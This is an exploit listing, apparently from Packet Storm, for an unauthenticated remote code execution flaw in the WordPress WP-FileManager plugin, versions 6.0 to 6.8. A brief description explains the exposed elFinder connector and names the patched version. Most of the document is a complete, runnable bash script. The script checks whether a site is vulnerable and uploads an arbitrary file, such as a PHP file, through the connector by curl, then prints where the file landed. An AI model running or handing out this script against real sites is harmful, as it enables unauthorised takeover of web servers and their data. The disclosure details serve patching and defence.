WordPress WP-FileManager 6.8 Remote Code Execution ≈ Packet Storm

# Exploit Title: WordPress Plugin Wp-FileManager 6.8 - RCE
# Date: September 4,2020
# Exploit Author: Mansoor R (@time4ster)
# Version Affected: 6.0 to 6.8
# Vendor URL: https://wordpress.org/plugins/wp-file-manager/
# Patch: Upgrade to wp-file-manager 6.9
# Tested on: wp-file-manager 6.0 (https://downloads.wordpress.org/plugin/wp-file-manager.6.0.zip)

#Description:
#The core of the issue began with the File Manager plugin renaming the extension on the elFinder library’s connector.minimal.php.dist file to .php so it could be executed directly, even though the connector file was not used by the File Manager itself. Such libraries often include example files that are not intended to be used “as-is” without adding access controls, and this file had no direct access restrictions, meaning the file could be accessed by anyone. This file could be used to initiate an elFinder command and was hooked to the elFinderConnector.class.php file

#Using connector.minimal.php file attacker can upload arbitrary file to the target (unauthenticated) & thus can achieve Remote code Execution.

#Patch commit details:
# https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2373068%40wp-file-manager%2Ftrunk&old=2372895%40wp-file-manager%2Ftrunk&sfp_email=&sfph_mail=

#Credits:
#1. https://www.wordfence.com/blog/2020/09/700000-wordpress-users-affected-by-zero-day-vulnerability-in-file-manager-plugin/
#2. https://seravo.com/blog/0-day-vulnerability-in-wp-file-manager/

#!/bin/bash

echo
echo "============================================================================================"
echo "wp-file-manager wordpress plugin Unauthenticated RCE Exploit By: Mansoor R (@time4ster)"
echo "============================================================================================"
echo

function printHelp()
{
echo -e "
Usage:

-u|--wp_url Wordpress target url
-f|--upload_file Absolute location of local file to upload on the target.
-k|--check Only checks whether the vulnerable endpoint exists & have particular fingerprint or not. No file is uploaded.
-v|--verbose Also prints curl command which is going to be executed
-h|--help Print Help menu

Example:
./wp-file-manager-exploit.sh --wp_url https://www.example.com/wordpress --check
./wp-file-manager-exploit.sh --wp_url https://wordpress.example.com/ -f /tmp/php_hello.php --verbose
"
}

check="false"
verbose="false"
#Processing arguments
while [[ "$#" -gt 0 ]]
do
key="$1"

case "$key" in
-u|--wp_url)
wp_url="$2"
shift
shift # past argument
;;
-f|--upload_file)
upload_file="$2"
shift
shift
;;
-k|--check)
check="true"
shift
shift
;;
-v|--verbose)
verbose="true"
shift
;;
-h|--help)
printHelp
exit
shift
;;
*)
echo [-] Enter valid options
exit
;;
esac
done

[[ -z "$wp_url" ]] && echo "[-] Supply wordpress target URL." && exit
[[ ! -s "$upload_file" ]] && [[ "$check" == "false" ]] && echo "[-] Either supply --upload_file or --check" && exit

#Script have dependency on jq
jq_cmd=$(command -v jq)
[[ -z "$jq_cmd" ]] && echo -e "[-] Script have dependency on jq. Insall jq from your package manager.\nFor debian based distro install using command: apt install jq" && exit

function checkWPFileManager()
{ #Takes 1 argument: url
url="$1"
target_endpoint="$url/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"

response=$(curl -ks --max-time 5 --user-agent "$user_agent" "$target_endpoint")
#echo "$response"
#{"error":["errUnknownCmd"]} is returned when vulnerable endpoint is hit
is_vulnerable=$(echo "$response" | grep "\{\"error\":\[\"errUnknownCmd\"\]\}")
[[ -n "$is_vulnerable" ]] && echo "[+] Target: $url is vulnerable"
[[ -z "$is_vulnerable" ]] && echo "[-] Target: $url is not vulnerable"
}

function exploitWPFileManager()
{ #Takes 3 arguments: url & file_upload & verbose(true/false)
declare url="$1"
declare file_upload="$2"
declare verbose="$3"
target_endpoint="$url/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"

if [ "$verbose" == "true" ];then
echo "curl POC :"
echo "curl -ks --max-time 5 --user-agent \"$user_agent\" -F \"reqid=17457a1fe6959\" -F \"cmd=upload\" -F \"target=l1_Lw\" -F \"mtime[]=1576045135\" -F \"upload[]=@/$file_upload\" \"$target_endpoint\" "
echo
fi

response=$(curl -ks --max-time 5 --user-agent "$user_agent" -F "reqid=17457a1fe6959" -F "cmd=upload" -F "target=l1_Lw" -F "mtime[]=1576045135" \
-F "upload[]=@/$file_upload" \
"$target_endpoint" )
#echo "$response"
file_upload_url=$(echo "$response" | jq -r .added[0].url 2>/dev/null)
[[ -n "$file_upload_url" ]] && echo -e "[+] W00t! W00t! File uploaded successfully.\nLocation: $file_upload_url "
[[ -z "$file_upload_url" ]] && echo "[-] File upload failed."
}

[[ "$check" == "true" ]] && checkWPFileManager "$wp_url"
[[ -s "$upload_file" ]] && exploitWPFileManager "$wp_url" "$upload_file" "$verbose"

echo